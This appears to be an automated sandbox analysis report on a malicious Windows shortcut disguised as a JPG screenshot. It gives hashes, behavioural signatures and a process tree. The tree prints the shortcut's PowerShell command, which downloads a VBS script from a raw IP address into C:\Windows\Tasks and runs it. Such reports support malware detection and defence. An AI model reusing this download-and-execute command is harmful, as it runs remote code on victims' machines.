Analysis
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max time kernel
43s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
17-01-2023 08:26
Static task
static1
Behavioral task
behavioral1
Sample
screenshot3746.jpg.lnk
Resource
win7-20220812-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
screenshot3746.jpg.lnk
Resource
win10v2004-20221111-en
19 signatures
150 seconds
General
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Target
screenshot3746.jpg.lnk
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Size
2KB
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MD5
c6b01d5c60a32b533fed0066a4c523de
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SHA1
1ad9db830a0fc612e8cdef1712a1693152b48f2c
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SHA256
98869f8722fc8cae78de5023b9c8b7339e55bb23397dbe05e3fcb9ccefb18ab4
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SHA512
683406e5041e96f1084c16c3fd04c133e44a9be933255d25b23315baf5cac53f3a8add2f9e1d09f4efef6f59e6fbc56437b71734266e03786713947e8ca744ef
Score
3/10
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1320 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1320 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2036 wrote to memory of 1320 2036 cmd.exe powershell.exe PID 2036 wrote to memory of 1320 2036 cmd.exe powershell.exe PID 2036 wrote to memory of 1320 2036 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\screenshot3746.jpg.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest http://194.180.48.211//tvic//Filmist.vbs -OutFile C:\Windows\Tasks\Proof.vbs; C:\Windows\Tasks\Proof.vbs2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1320-88-0x0000000000000000-mapping.dmp
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memory/1320-93-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmpFilesize
10.1MB
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memory/1320-95-0x0000000002444000-0x0000000002447000-memory.dmpFilesize
12KB
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memory/1320-94-0x000007FEF3090000-0x000007FEF3BED000-memory.dmpFilesize
11.4MB
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memory/1320-96-0x0000000002444000-0x0000000002447000-memory.dmpFilesize
12KB
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memory/1320-97-0x000000000244B000-0x000000000246A000-memory.dmpFilesize
124KB
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memory/2036-54-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmpFilesize
8KB